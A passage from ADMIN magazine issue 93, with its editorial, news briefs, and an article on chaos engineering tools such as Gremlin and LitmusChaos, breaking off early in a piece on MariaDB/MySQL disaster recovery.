

ADMIN

MAGAZINE

ISSUE 93

Disaster Recovery

- Chaos Engineering
- Built-In Win Server 2025 Tools
- NAS Recovery Tools
- Database Strategies
- Entra ID Backup

Neko Virtual Browsers

Driftwatch

Checking Kubernetes security drift

Industrial Wireless Standards

Microsoft Dataverse

This Power Platform database complements Power Page secure websites

BunkerWeb WAF

A low-threshold entry point for hardening applications with application-independent safeguards

Model Context Protocol

Standardized communication between applications and LLMs

Ollama+Open WebUI

Building a persistent local AI stack



LINUX NEW MEDIA
The Pulse of Open Source



DVD INSIDE

Discover DevOps Tools Engineer 2.0



Technology evolves. So does your job. Aligned with today's fast-moving DevOps landscape, Linux Professional Institute (LPI) has significantly updated its DevOps Tools Engineer certification. Version 2.0 of the exam covers essential tools and practices including Git, containers, Kubernetes, CI/CD, configuration management, cloud deployment, monitoring, and logging. To learn more, visit: www.lpi.org/devops.



Want to know how to prepare for the LPI DevOps Tools Engineer exam? Download the free learning materials:
learning.lpi.org/en/learning-materials/701-200/



**Linux
Professional
Institute**

Inspired Technology

Action item: Make the work environment better for everyone.

I'll never forget setting up my very first web server service, creating a single HTML page, and viewing that page from a coworker's computer. It was thrilling to see that simple *It works* page. My coworker said, "Congratulations, you connected two computers over a wire." His comment didn't faze me a bit. I was happy about it because I had done something I never had before. That simple web page set me on a whole new path as a system administrator. I began learning advanced HTML and BASH scripting, and it reignited my interest in programming. That was 1995, but I get that same thrill today when I write a script and receive my expected output.

That excitement has fueled my tech career for more than 30 years. I learned so much so fast that I began teaching Linux and shell programming in 1999. My goal was to inspire other tech folks to explore something more engaging than their pursuit of Windows certifications. I'm proud to say that some of my students have had long, successful careers. A few started their own tech support businesses. One or two of them are still in business all these years later. Those that followed the corporate path have enjoyed diverse career choices in programming, management, executive leadership, and various areas of technical administration. I'd like to believe that I helped inspire them through my excitement for computing technology and what it has to offer.

Disgruntlement and apathy are contagious, but so are enthusiasm and passion. If you've ever worked with a team member who is lazy, irritable, or rude, you know that their attitude negatively affects the entire group. Conversely, if you work with someone who is happy, positive, and kind, they uplift the attitudes of the group. And group attitudes tend to escalate over time. When I worked at Red Hat, my group was positive, inspiring, and fun. We worked very hard, but we enjoyed every minute of the days we spent together. I would go to work early and stay late because the environment was absolutely intoxicating. My manager was forward-thinking, and we were in friendly competition for his accolades. He held us up to the rest of the company as what his vision of loyal Red Hatters should be. I was part of an elite team. We had great pride in our work and unexpectedly brought in millions of extra dollars to the bottom line. I truly loved that job and the people with whom I worked. It was quite possibly the happiest time of my work life.

The antithesis of that position was one in which I'd spent 16 years wondering when the next round of layoffs was going to consume me. It was an unpleasant and degrading environment that bred paranoia and negativity. It was the least happy time of my work life. I regret staying there for so long. It would have been better to have been laid off and forced to pursue something better for myself mentally and emotionally. It wasn't difficult to find a more positive place to land.

I've always been told that work isn't supposed to be pleasant, and that's why they pay you to do it. I disagree with this old saying. A job *can* be and *should* be a pleasant place to go. After all, you spend a third of your life there and it should motivate you to do your best. Your coworkers should be encouraging. Your manager should be a positive force. Stop rolling your eyes. I know the reality of working in a tech shop, but they don't have to be the soul-killing dungeons of yesteryear. They can be better. They should be better. They must be better.

In corporate-speak terminology, I'm giving you an *action item* as your assignment to prove my point. Set a daily notification reminding you to say something positive to a coworker. Tell someone they've done a great job. Tell them that they've helped you. Tell them you're glad they're on your team. Give someone a positive affirmation every day and watch the changes happen. Sure, they might wonder what you're up to for the first few days, but soon you'll see a change in the team's attitude. Your team will become more productive, more efficient, and healthier. Go and inspire someone. Trust me, you'll feel better too.

Ken Hess • Senior ADMIN Editor

ADMIN

MAGAZINE

Features

- 10 Chaos Engineering Tools**
Inject faults into infrastructure in a controlled manner to test its resilience.
- 16 Database Disaster Recovery**
Safeguard your MariaDB or MySQL systems with backup, replication, and recovery strategies that let you get your databases back online quickly in an emergency.
- 20 NAS Disaster Recovery Tools**
We take a practical look at disaster recovery approaches suitable for smaller NAS systems and highlight the tools offered by vendors, along with a collection of Linux and open source tools.
- 26 Win Server 2025 DR**
Built-in tools can set up resilient backups; reset roles selectively for Active Directory, Hyper-V, and Certificate Services; and automate processes with PowerShell, wbadmin, and event triggers.
- 32 Entra ID Data Backup**
Data backup is often overlooked in Microsoft Entra ID. User accounts, groups, and Conditional Access policies need targeted protection.

Tools

- 37 Microsoft Dataverse**
Various Power Platform modules use Dataverse to store, manage, and evaluate information, making data available to Power BI, Power Apps, Power Automate, and Power Pages in a uniform environment.
- 42 Microsoft Power Pages**
Create dynamic, secure, and data-driven websites on the low-code Power Pages platform with external data from Microsoft Dataverse.
- 46 Integrating AI Systems**
The Model Context Protocol helps standardize and simplify communication between applications and large language models.

Containers and Virtualization

- 48 Driftwatch**
Learn how to detect and eliminate security drift across Kubernetes clusters.
- 54 Neko Virtual Browsers**
Virtualize browsers, applications, and desktops on Linux to support local or network-based access.

Security

- 60 BunkerWeb WAF**
This web application firewall provides a low-threshold entry point for hardening virtually any application with meaningful, application-independent safeguards.
- 62 Secure DNS Protocols**
The Internet's address book is often used in plain text. Fortunately, modern DNS protocols offer many improvements.

Service

- 3 Welcome**
- 6 News**
- 96 Back Issues**
- 97 Call for Papers**
- 98 Coming Next Month**

 @adminmag
 ADMIN magazine
 @admin-magazine.com
 @adminmagazine@hachyderm.io

10, 16, 20, 26, 32 | Disaster Recovery

- Chaos Engineering
- Built-In Win Server 2025 Tools
- NAS Recovery Tools
- Database Strategies
- Entra ID Backup

Disaster recovery goes beyond providing for temporarily unavailable systems, devices, or data; it encompasses a set of tools and strategies for recovering from permanently lost or destroyed resources because of catastrophic external events.

Highlights

26 Win Server 2025 Disaster Recovery

Disaster recovery with Windows Server 2025 does not always require expensive add-on software, provided you leverage built-in tools: the graphical backup console, `wbadmin` commands, and PowerShell.

74 Ceph Dashboard

Ceph Dashboard simplifies day-to-day cluster maintenance by visualizing, contextualizing, and supporting operations. It aggregates information usually scattered throughout CLI commands and presents information in a context that enables quick assessments.

90 Industrial Wireless Standards

New semiconductor technology opens a range of wireless standards for IoT and industrial applications. New transmission methods developed for sensors and actuators are challenging the established triad of Bluetooth, 4/5G, and WiFi.

Management

68 Ceph Performance Tuning

Administrators regularly criticize Ceph performance tuning, because some elements can be tweaked effectively, while others are difficult or impossible to fine-tune. We look at how to measure performance, compare actual requirements with what is technically possible, and determine realistic objectives.

74 Ceph Dashboard

To hardcore command-line enthusiasts, the Ceph Dashboard might sound like a frowned-upon point-and-click gadget, but the advantages simply cannot be ignored.

Nuts and Bolts

82 Ollama and Open WebUI

Build a streamlined local AI stack with this open source duo. Docker Compose then helps you keep models and application data persistent, update safely, back up key files, and recover quickly if something breaks.

90 Industrial Wireless Standards


New wireless standards significantly expand the potential applications for wireless communication in industrial and IoT environments, but not every standard is suitable for every task.

On the DVD

Fedora 44 Server

The latest technology provides stable and flexible server software for the provisioning of digital services and information. In version 44, Fedora *shim* and *grub2* packages install content in `/usr/lib/` for safer and more reliable bootloader updates. You'll also find:

- MariaDB 11.8 with vector support for machine learning
- Stratis 3.9.0 with in-place encryption, decryption, and re-encryption
- PackageKit with DNF v5 for uniform and reliable software management across various front ends



You'll find code and listings for ADMIN articles here:
<https://linuxnewmedia.thegood.cloud/s/9nFQcFb2p8oRMEJ>

News for Admins

Tech News

Cloudflare Resets Post-Quantum Roadmap to 2029

Cloudflare has accelerated its goal of full post-quantum (PQ) security — including post-quantum authentication — to 2029. The timeline has been accelerated due to “credible new research and rapid industry developments,” says Bas Westerbaan in the company’s blog post.

“This is a challenge that any organization must treat with urgency, which is why we’re expediting our own internal Q-Day readiness timeline,” Westerbaan says, with Q-Day defined as “the day that sufficiently capable quantum computers can break essential cryptography used to protect data and access across systems today.”

The relevant new developments include an announcement from Google (<https://research.google/blog/safeguarding-cryptocurrency-by-disclosing-quantum-vulnerabilities-responsibly/>) stating that “future quantum computers may break the elliptic curve cryptography (https://en.wikipedia.org/wiki/Elliptic-curve_cryptography) that protects cryptocurrency and other systems with fewer qubits and gates than previously realized.” Google also set its own timeline for post-quantum cryptography migration to 2029.

Previously, Westerbaan explains, PQ cryptography efforts have mainly focused on PQ encryption, which stops harvest-now/decrypt-later attacks. A shorter Q-Day deadline, however, shifts the focus from encryption to authentication to reduce the vulnerability of digital signatures.

“Post-quantum authentication is top priority,” Westerbaan says, noting that “long-term keys should be upgraded first. Deep dependency chains and the fact that everyone has third-party vendors means this effort will take on the order of years, not months.”

Learn more at Cloudflare: <https://blog.cloudflare.com/post-quantum-roadmap/>.

Wireless Infrastructure Struggles to Meet AI Demands, Per Cisco Report

The proliferation of AI is exposing vulnerabilities in legacy wireless networks, according to Cisco’s State of Wireless 2026 report.

“For years, wireless was the ‘invisible utility’ — the background noise of the office that only commanded attention when the connection dropped. It was managed for cost, not for growth,” says Aruna Ravichandran (<https://blogs.cisco.com/news/the-multiplier-effect-solving-the-ai-paradox-in-2026>) in a blog post examining the report. “Now, we’ve entered an era where high-bandwidth AI workloads collide with an increasingly high number of IoT and connected devices, all competing for the same limited bandwidth.”

According to the report, based on a survey of 6,098 wireless professionals across 30 countries, 98% of organizations say wireless operations are becoming more complex. And, they cite three main drivers of this increasing complexity:

- Supporting mission-critical IT/IoT/OT workloads (including AI): 43%
- Security risks: 42%
- Bandwidth demand increase or unpredictability: 38%



**Get the latest
IT and HPC news
in your inbox**

**Subscribe free to
ADMIN Update**
bit.ly/ADMIN-Update

Other key points from the report include:

- 86% of organizations struggle to hire wireless talent.
- 58% saw financial losses from wireless security breaches, with 40% exceeding \$1 million annually.
- 55% of wireless professionals spend most of their time on reactive troubleshooting instead of strategic work.

Additionally, “talent is flowing toward AI and cybersecurity roles, leaving wireless teams understaffed exactly when complexity is peaking,” says Jayanthi Srinivasan (<https://blogs.cisco.com/networking/breaking-the-wireless-ai-paradox-turning-challenges-into-competitive-advantage>), Sr. Director Product Management, Cisco Wireless.

Read more at Cisco: <https://www.cisco.com/site/us/en/products/networking/wireless/state-of-wireless-report/index.html>.

Red Hat Offers 14-Year Life Cycle Support for Red Hat Enterprise Linux

Red Hat has announced Red Hat Enterprise Linux (RHEL) Extended Life Cycle, Premium — a new subscription providing a 14-year life cycle for major RHEL releases.

Red Hat Enterprise Linux Extended Life Cycle, Premium (<https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux>) builds on the existing support offerings to provide “significantly longer base life cycles and the security patches needed to protect important, long-life production systems without forcing disruptive upgrades.” It also provides six years of extended maintenance for minor releases as a single offering.

According to the company (<https://www.redhat.com/en/resources/linux-extended-life-cycle-premium-datasheet>), Red Hat Enterprise Linux Extended Life Cycle, Premium, includes:

- **Extended maintenance:** An additional 4 years of extended maintenance after the last minor release of a major version.
- **Continued support:** Essential support for organizations that cannot migrate to a newer major release due to hardware compatibility issues, application dependencies, or other constraints.
- **Maintenance coverage:** Includes certain critical-impact security fixes, selected urgent-priority bug fixes, and troubleshooting for the last minor release of a major version of RHEL.

Learn more at Red Hat: <https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux>.

Avoiding Vendor Lock-In Surges as a Top Reason for Using Open Source Software

Although “no license cost/overall cost reduction” remains the top reason for using open source software, avoiding vendor lock-in increased by 68% year over year, according to the 2026 State of Open Source Report (<https://www.openlogic.com/resources/state-of-open-source-report>) released by Perforce Software in collaboration with the Open Source Initiative (OSI) and the Eclipse Foundation.

Overall, the top reasons for using open source software include:

- No license cost, overall cost reduction — 61.84%
- To avoid vendor lock-in — 55.35%
- Open standards and interoperability — 45.49%
- Stable technology with community long-term support — 44.86%
- To reduce development or maintenance costs — 42.56%
- To improve development velocity — 39.62%
- To modernize technology stack — 39.41%

In terms of overall use and adoption, 98% of organizations either increased or maintained their OSS use in the past year, as 49.47% reported increased usage, and 48.64% said usage remained the same.

Other highlights noted in the free report include:

- Avoiding vendor lock-in is of greater concern in the EU and UK, where 63% of organizations cite it as a top reason for choosing OSS, compared with 51% in North America.
- 60% of respondents working for large enterprises (5,000+ employees) spend 50% or more of their time on maintenance and bug fixes.
- Keeping up with security updates and patches remains the greatest challenge across all organization sizes.

Learn more at Perforce OpenLogic: <https://www.openlogic.com/>.

ETSI Releases Open Source Operator Platform

The European Telecommunications Standards Institute (ETSI) has announced the ETSI Software Development Group OpenOP (<https://www.etsi.org/committee/oop>) — an open source operator platform for the telco cloud.

According to ETSI, OpenOP provides “a collaborative platform for network service providers and application developers to experiment with 5G-Advanced and future 6G technologies.”

Major features of OpenOP include:

- **Open Exposure Gateway** to expose telecom network capabilities through CAMARA APIs
- **Service Resource Manager** for deployment orchestration
- **Federation Manager** to enable industry standards-based federation and resource discovery
- **Transformation Functions Software Development Kit** to provide tools and runtime framework
- **OpenOP Portal** for managing applications
- **AI Integration** exposing a Model Context Protocol (MCP) server and AI agent

OpenOP is available now; however, ETSI notes that this first release is an early iteration “primarily intended for experimentation, integration testing, and community feedback.”

Learn more at ETSI: <https://www.etsi.org/>.

Gnome 50 Released

The Gnome project has announced Gnome 50 — named “Tokyo” — featuring new parental controls, performance enhancements, and more.

According to the announcement (<https://release.gnome.org/50/>), “parental controls have made a massive leap forward in Gnome 50. For the first time, it is now possible for parents and guardians to monitor screen time and set limits for child accounts.” These controls are integrated into Settings, which links to the updated Parental Controls app.

Other new features and improvements can be found in:

- Orca screen reader
- Documentation annotation
- Files app
- Calendar

Gnome 50 also gets a “major performance boost” from new hardware acceleration support. “By using your computer’s graphics processor to stream video, remote desktop sessions are now significantly smoother with much less lag and lower power consumption,” the announcement says.

Learn more at Gnome: <https://www.gnome.org/>.

IBM Releases Reference Architecture for Quantum-Centric Supercomputing

IBM has released (<https://newsroom.ibm.com/2026-03-12-ibm-releases-a-new-blueprint-for-quantum-centric-supercomputing>) a quantum-centric supercomputing (QCSC) reference architecture as a new “blueprint for integrating quantum computing into modern supercomputing environments.”

According to the company, the reference architecture (<https://arxiv.org/abs/2603.10970>) outlines a practical, scalable path for combining quantum hardware and classical computing infrastructure into a unified environment. This approach “includes CPU and GPU clusters, high-speed networking, and shared storage, to support computationally intensive workloads.”

Additionally, IBM says, the architecture is built on “open software, standard interfaces, and modular system configurations so that quantum capabilities can plug into existing HPC workflows, schedulers, and facilities rather than requiring an entirely new computing stack.”

Learn more at IBM: <https://research.ibm.com/blog/quantum-centric-supercomputing-system-reference-architecture>.

CIQ Announces CIQ Linux Kernel and RLC Pro AI

CIQ has announced the CIQ Linux Kernel (CLK – <https://ciq.com/press-release/ciq-introduces-the-ciq-linux-kernel-built-to-unlock-the-full-performance-of-modern-ai-hardware/>), an enterprise-grade Linux kernel built directly on upstream Long Term (LT) kernels.

According to the announcement, “new CPUs, GPUs and network adapters from AMD, Intel, NVIDIA and ARM-ecosystem vendors are enabled in CLK as they reach the upstream Long Term kernel. This reduces time-to-production and ensures hardware runs at its full capability.”

Other benefits of CLK include:

- Performance gains
- Energy efficiency
- Improved CVE coverage
- Support for emerging technology
- Rocky Linux userspace compatibility

The company also released Rocky Linux from CIQ Pro AI (RLC Pro AI – <https://ciq.com/products/rocky-linux/pro/ai/>), which it describes as “an enterprise Linux distribution purpose-built for AI inference and GPU-accelerated workloads.”

RLC Pro AI offers increased output from existing hardware, the company says (<https://ciq.com/press-release/ciq-announces-general-availability-of-rlc-pro-ai-enterprise-linux-built-to-deliver-more-from-every-gpu-in-production/>), and ships with the CLK kernel, PyTorch flags, and CUDA preconfigured.

“Organizations are committing hundreds of millions of dollars to GPU infrastructure and running it on operating systems that were never designed for it. RLC Pro AI simplifies and de-risks AI infrastructure investments while driving cutting-edge performance and simplicity,” says Gregory Kurtzer, CEO of CIQ and founder of Rocky Linux.

Read more at CIQ: <https://ciq.com/>.



10 Terrific Tools

Each year, *ADMIN* releases a new edition of the 10 Terrific Tools for the Busy Admin series.

Check out the digital archives for unique collections of practical utilities for professional admins.

BUY NOW!

Customers in Europe or the United Kingdom (EUR/GBP)



Customers in All Other Countries (USD)





Testing Disaster Recovery Plans with Chaos Engineering

On Thin Ice

Chaos engineering tools inject faults into infrastructure in a controlled manner to test its resilience. By Holger Reibold

At first glance, chaos engineering might sound less than reliable, but in practice, the associated tools prove to be immensely useful. Today's IT infrastructures are typically structurally and functionally complex, which significantly complicates risk analysis. Chaos engineering aims to solve this problem through scenarios in which system behavior is analyzed under the influence of disruptions, such as network overload or limited computing resources.

New Approach to Testing

Traditional methods, including unit, integration, stress, and robustness tests, primarily focus on validating compliance and performance under anticipated conditions in environments before the deployment of specific services. This approach is typically used in isolated and controlled infrastructures, checking whether system components behave correctly when faced with known inputs. However, when it comes to detecting cascading or newly emerging errors in today's distributed IT landscapes, these methods are likely to fail. In particular, identifying asynchronous interactions

and dynamic runtime behavior makes troubleshooting difficult. Chaos engineering addresses these limitations by introducing controlled failures into production or near-production systems in an approach that examines the resilience of the entire system. Instead of validating functionality with predefined test scripts, chaos experiments simulate failures such as service outages and latency spikes with the aim of evaluating system behavior and recovery under adverse runtime conditions. In other words, chaos engineering tests simulate real-world failures and their causes in a far more realistic way than traditional methods. This approach is particularly well-suited for revealing hidden vulnerabilities that conventional testing tools will overlook.

Note that experts explicitly point out that chaos engineering is not a substitute for, but a complement to, conventional testing. Whereas conventional methods confirm system compliance under expected conditions, chaos engineering validates system behavior when faced with known errors and real-world failure scenarios. Some people see this as a paradigm shift – from failure validation before

deployment to assessing resilience after deployment, which is precisely what makes chaos engineering indispensable for today's complex, distributed infrastructures.

Chaos Engineering in Disaster Recovery

The deliberate injection of errors into existing IT systems is likely to give decision makers headaches just thinking about it. To allay these worries, chaos engineering does not follow an arbitrary principle but is largely guided by scientific standards. Scientific studies typically rely on experiments or develop hypotheses that need to be tested, followed by a comparison against a control group; chaos engineering follows exactly this approach.

Starting from a steady state, IT develops hypotheses regarding potential risks and what might happen in critical situations. The chaos experiment's design is then driven by these hypotheses and characterized by the introduction of specific faults, such as latency, CPU failure, or a network black hole. During testing, the aim is to compare predicted and actual incidents. On the basis of risk analysis, potential vulnerabilities can be identified and predictions regarding system behavior made (**Figure 1**). What is

Photo by Mark Timberlake on Unsplash

particularly relevant is the development of incident-specific metrics, in which a distinction is usually made between key metrics and customer-specific metrics.

Needless to say, the tests do not run on production systems but on one-to-one copies. However, a backup plan should always be in place even there, because it is never possible to predict exactly how an environment will react to unforeseeable interventions. A reversal function and an abort option are typically also in place, and the results show whether the environment is sufficiently robust or needs targeted improvements.

Choosing the Right Tools

The tasks of a chaos engineering platform can be summarized as evaluating key business components to ensure that they are in line with the company's operational requirements and objectives. These platforms comprise five main components: experiment design, error injection, observability, analysis, and automation and integration units.

The right choice of tools is imperative to unlock the potential of chaos engineering testing methods. A small but excellent selection of tools is available, ranging from comparatively simple open source tools such as Chaos Monkey [1] to commercial products such as Steadybit [2]. These tools also differ in their focus within the field of chaos engineering, with some being designed for testing cloud environments and others intended for analyzing networks, (micro)services, or Docker instances.




Figure 1: The basic principles of chaos engineering tools.

Fundamentally, this software category is relatively new. Chaos Monkey, developed by Netflix, has been around since 2011 and is considered a pioneer. Since 2015, chaos engineering has also been addressed by other players such as Amazon and Google. The increased interest in chaos engineering tools is directly linked to changes in IT infrastructures: With the rise of cloud and microservices, as well as distributed environments, identifying errors has become significantly more difficult, whereas error behavior was easier to track in monolithic architectures. Chaos testing tools have therefore gained significance primarily because of the proliferation of cloud, DevOps, and Kubernetes approaches.

The best-known tools are Gremlin [3] and LitmusChaos [4] (Table 1). Gremlin has been in development since

2017 and is considered the market leader. The tool focuses on testing the reliability of enterprise environments. LitmusChaos originated in the open source community and is specifically designed for cloud-native IT landscapes (primarily Kubernetes) to help teams test the fault tolerance and stability of their applications under realistic failure scenarios. Which tool is appropriate primarily depends on the target platforms and the types of experiments, but also on a company's financial and technological capabilities.

Client-Server Architecture with Gremlin

Chaos engineering tools are used differently. The market leader, Gremlin, relies on a client-server architecture that requires the deployment of

Table 1: Gremlin and LitmusChaos Comparison

Criterion	Gremlin	LitmusChaos
Licensing model	Commercial (SaaS, agent-based)	Open source (Apache 2.0, free)
Target platforms	Multiplatform: virtual machines, bare metal, Docker, Kubernetes, cloud (AWS, Azure, etc.)	Kubernetes-native (only for K8s and cloud-native workloads)
User interface and friendliness	User-friendly web interface and CLI	Web portal available, but more complex to set up and navigate
Experiment types	CPU, memory, shutdown, network latency/loss, DNS, disk, etc.	Network, CPU, memory, node drain, pod kill, custom HTTP tests, and more
Security features	MFA, RBAC, audit logs, agent isolation	RBAC through Kubernetes, namespace isolation
Integration (CI/CD and monitoring)	APIs, SDKs, webhooks, DataDog, Splunk, New Relic	ArgoCD, Jenkins, GitLab CI, Prometheus, Grafana
Workflow orchestration	Scenarios and Schedules in the UI	Argo workflows (graphical and YAML); GitOps-compatible

Gremlin agents on the systems being tested. These agents are controlled on the server side by the *Gremlin Control Plane* module. The agent can be deployed in various environments and, more specifically, on Kubernetes, virtual machines, cloud platforms, and in containers.

As a general rule, the recommendation is to avoid installing the agent on a network-based filesystem to avoid latency and connection issues. Installing on a locally mounted filesystem improves performance and reliability and reduces the risk of data loss. You should also note that the Gremlin agent can be safely installed alongside service meshes such as Istio [5]. Gremlin coordinates network tests without modifying the rules or configuration of a service mesh. The agent also requires various permissions:

- **CLIENTS_READ**: Allows you to read all client information
- **CLIENTS_WRITE**: Allows you to edit all client information
- **TEAM_SECURITY_READ**: Allows you to read team-related credentials

For the agent to communicate with the Gremlin server, the client needs to authenticate against the Gremlin system. The easiest way to do this is to download the client configuration file at install time. Gremlin automatically generates a pre-formatted configuration file that contains everything you need for authentication, including the team ID. You can select *Team Settings | Configuration* and press the *Download* button beside the Client Configuration File entry.

Copy the file to `/etc/gremlin/config.yaml` and restart the Gremlin service. On Windows, the default path is: `C:\ProgramData\Gremlin\Agent\config.yaml`. With the agent configuration file, you can specify how the specific attack scenarios will look. It makes sense to start small – that is, begin with moderate interventions in staging or test environments. The agent configuration file relies on an identifier to recognize the Gremlin system. An agent is also assigned to a team with its `GREMLIN_TEAM_ID`. The `push_metrics: true` option sends the system metrics to the control plane in real time to display the effects of the experiments, which is particularly important for monitoring and real-time evaluation. In principle, data on running processes can also be sent to Gremlin for service discovery. However, this option has been disabled starting in Gremlin Agent v2.42.0 by the `collect_processes: false` entry. Note that you

will need to restart the Gremlin service whenever you make changes to the `config.yaml` file.

Defining Targets and Attack Variants

Before you can run a specific error injection test, you need to define the targets. An active agent continuously informs the Gremlin server about the state of the target system. Gremlin refers to the interactions as Experiments (previously called Attacks), which just means testing the target system for reactions. Gremlin distinguishes between three experiment categories:

- **Resource experiments**: tests for sudden changes in the consumption of computing resources
- **Network experiments**: tests for unreliable network conditions
- **State experiments**: tests for unexpected changes in an environment, such as power outages, node




Figure 2: Selecting hosts and configuring the blast radius in Gremlin. © Gremlin Inc.

failures, clock deviations, or application crashes

To run an experiment on a target system, first use the web interface to log in to the Gremlin server. Choose *Experiments* | *New Experiment* to create a new test configuration. You need to select the system type first; then, specify your targets. You can use the Blast Radius diagram to verify your selection (**Figure 2**). The diagram displays all the hosts, containers, and Kubernetes resources, highlighting the resources that will be affected by your experiment.

After selecting the type, you also need to define the target platforms. You can specify targets for all three test variants; alternatively, you can use *Tags* to define the target groups. Gremlin's default view shows the targets grouped by tags. Thanks to the user-friendly web GUI, checking and refining the blast radius is straightforward. The accompanying diagram

highlights the hosts, containers, and any Kubernetes resources that could be affected by the experiment. The *Percent of hosts to impact* value lets you determine the effects on a randomly selected subset. For example, if you test 10 hosts and set the value to 20%, Gremlin selects two hosts as the target group for the experiment. By default, Gremlin includes all newly detected targets that meet the target criteria. This approach proves useful in clusters with autoscaling. If you don't want this option, uncheck the *Include New Targets* box.

In the *Experiments* settings, you can control the execution timing, which can be set to *Randomly within a time frame*. Finally, press *Run Experiment* to launch the test. Conducting experiments is simplified by the availability of various experiment types. State and Resource experiments let you define all, any, or specific containers within a selected pool as targets. Gremlin also

supports the Network type and various attack variants (Process Killer, Shutdown, and Time Travel).

Interpreting Results Correctly

Gremlin displays the test results on the dashboard or under *Reports*. You can go to *Attack Details* to view the results of ongoing and completed tests, and further details are found under *Experiment* | *Experiment Details*. For specific Resource experiments, Gremlin can automatically collect and display metrics from the target, which means you can monitor performance in real time without having to open an observability tool. You can view the CPU utilization for CPU experiments and the RAM usage relative to total capacity for memory experiments. In contrast, you can immediately see if and when a target went offline in Shutdown experiments.

GET TO KNOW ADMIN

ADMIN is packed with detailed discussions aimed at the professional reader on contemporary topics including security, cloud computing, DevOps, HPC, containers, networking, and more.

Subscribe to *ADMIN*
and get 6 issues
delivered every year

ADMIN Magazine is your
source for technical solutions
to real-world problems.



Customers in Europe or the
United Kingdom (EUR/GBP)
shop.sparkhausmedia.com/shop



Customers in All Other
Countries (USD)
shop.linuxnewmedia.com/shop

Scenarios is another useful tool – a mix of health checks and Gremlin experiments that lets you run one or more experiments sequentially, in parallel by branches, or both. This option is useful, for example, to recreate past outages, simulate complex failures, or test multiple aspects of a system at the same time.

To make your work as easy as possible, Gremlin offers a range of pre-configured scenarios in the submenus of the *Scenarios* option, which in Gremlin-speak are *Recommended Scenarios*. Recommended scenarios replicate real-world failure modes and can be easily adapted to your specific testing requirements.

Another unique feature of Gremlin is the *GameDays* function. In this organized team event, you can practice chaos engineering, test your incident response process, validate past outages, and identify unknown issues in your services. As part of such a project, you can run up to 20 scenarios.

LitmusChaos: Focus on the Cloud

The open source LitmusChaos (Figure 3) takes a different tack with a cloud-native approach to creating, managing, and monitoring chaos engineering tests. The platform itself runs as a set of microservices and relies on Kubernetes custom resources

(CRs) to define the chaos intent and steady-state hypothesis. The chaos control plane is at the heart of this environment; it is where the central management tool, ChaosCenter, is used to build, plan, and visualize LitmusChaos workflows.

In practice, LitmusChaos relies on two resources: ChaosExperiment is used to group the configuration parameters of a specific failure, and ChaosEngine links Kubernetes application infrastructure component workloads to a failure described by ChaosExperiment. The results are visualized as ChaosResults. You can then view the details of the error injection in the report and determine the status of the error reversal. The LitmusChaos Exporter reads the results and outputs the details in the form of Prometheus metrics. Web-based management also makes it easy to select agents, which the developers refer to as LitmusChaos Agents. You can also run experiments on a scheduled basis in this environment.

Predefined experiment configurations are available for download from the LitmusChaos Hub [6]. Developers or providers can exchange their Chaos testing configurations on the platform. As of July 2025, more than 50 different predefined experiment configurations were listed there. As with other chaos engineering tools, conducting the experiments themselves is easy, with the

real difficulty lying in achieving targeted post-processing and optimizing your own infrastructure.

Conclusion

The changes in today's IT landscapes call for new tools to get to the root of potential sources of error. Modern systems, applications, and infrastructures often host dozens or even hundreds of services. Their interactions create new sources of error that are difficult to address with traditional tools. Chaos engineering tools such as Gremlin and LitmusChaos help you test the behavior of these systems in the face of real-world disruptions before they cause damage in production. ■

Info

- [1] Chaos Monkey: <https://netflix.github.io/chaosmonkey/>
- [2] Steadybit: <https://steadybit.com>
- [3] Gremlin: <https://www.gremlin.com/chaos-engineering>
- [4] LitmusChaos: <https://litmuschaos.io>
- [5] Istio: <https://istio.io>
- [6] LitmusChaos Hub: <https://hub.litmuschaos.io>

The Author

Holger Reibold is a computer scientist, who has worked as an IT journalist since 1995. Currently, he works as a key account manager for a German ISP. His main interests are open source tools and security topics.




Figure 3: The LitmusChaos web GUI is the starting point for chaos experiments. © Gremlin Inc.

Go Inside the **openEuler Universe**

Download this free focus guide, and get an introduction to openEuler. We'll show you what's inside openEuler and study some special tools for migration and artificial intelligence.

The cover of the ADMIN Network & Security Focus Guide for openEuler. The background is a dark blue with a geometric pattern of overlapping squares and rectangles in lighter shades of blue. At the top, the word "ADMIN" is written in large, bold, white capital letters. Below it, "Network & Security" is written in white on a red rectangular background. To the right of this, there is a circular orange badge with the words "Focus Guide" in white. The word "openEuler" is prominently displayed in the center in large, bold, yellow capital letters. Below this, there are four sections of text in orange and white:

- Discovering openEuler**
- AI and the Boom Stack**
A complete software stack tailored for AI
- Automating Migration**
Easily migrate your old CentOS systems to the modern openEuler
- Interview**
openEuler leaders and experts give an inside look at the project, its goals, and the path ahead

In the bottom right corner, "US\$ 7.95" is printed in small white text. At the very bottom, the website "WWW.ADMIN-MAGAZINE.COM" is written in white capital letters.

<https://shop.linuxnewmedia.com/r/openEuler>



Disaster Recovery for MariaDB and MySQL

House on Fire

Safeguard your MariaDB or MySQL systems with backup, replication, and recovery strategies that let you get your databases back online quickly in an emergency. By Anne Springwald

Data loss not only jeopardizes individual processes, but the stability of entire business units. In sensitive environments such as financial services, e-commerce, or industrial automation, even a single hour of downtime can cause measurable economic damage. According to IBM's latest Cost of a Data Breach Report 2025 [1], nearly 90 percent of affected companies reported significant operational disruptions after a data breach. Only about one-third were able to restore their systems fully at the time of the survey. In most cases, it took more than 100 days to resume operations fully. Without a clear disaster recovery (DR) strategy, such situations cannot be managed either technically or organizationally. Additionally, legal regulations such as the European Union (EU) General Data Protection Regulation (GDPR), the German KRITIS Act for safeguarding critical infrastructure, EU Directive 2022/2555 (NIS2 Directive) for protecting digital infrastructure, and a patchwork of various US federal [2], state, and local laws require the traceable and complete

recoverability of business-critical data. MariaDB and MySQL form the data-driven backbone for many digital platforms. These two database management systems manage inventories, transactions, and user information in real time, placing them at the center of enterprise-wide processes. Precisely because these databases are used in such diverse architectures and industries, admins need to be prepared for exceptional situations. With their open interfaces and built-in mechanisms such as binary logs, replication, backups, and recovery functions, MariaDB and MySQL provide a solid technical foundation. The consistent integration of these measures into a coordinated recovery strategy prevents loss of control and stabilizes operations in the event of a failure.

Threat Scenarios in MariaDB and MySQL

MariaDB and MySQL database systems frequently confront logic issues that occur because of faulty transactions, untested scripts, or unintended

changes to production data. An unsecured DELETE statement without a WHERE clause or a faulty deployment can empty entire tables within seconds or lead to inconsistent datasets. Moreover, applications that write incorrect values or skip validations only tend to exacerbate this risk.

